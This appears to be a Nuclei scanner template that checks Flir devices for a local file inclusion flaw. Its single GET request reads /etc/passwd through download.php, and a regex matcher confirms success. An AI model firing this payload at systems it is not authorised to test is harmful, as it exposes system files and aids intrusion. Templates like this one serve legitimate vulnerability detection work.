id: flir-path-traversal

info:
  name: Flir - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Flir is vulnerable to local file inclusion.
  reference:
    - https://juejin.cn/post/6961370156484263972
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: flir,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100bad158c6a744528dcd907ab28751473970a31cdffc9362e2c2b06584ce884e0a0220140768cc95b08aa817c0f72101f7a6508d90dd2d2b607a4c998098149cc7479a:922c64590222798bb761d5b6d8e72950
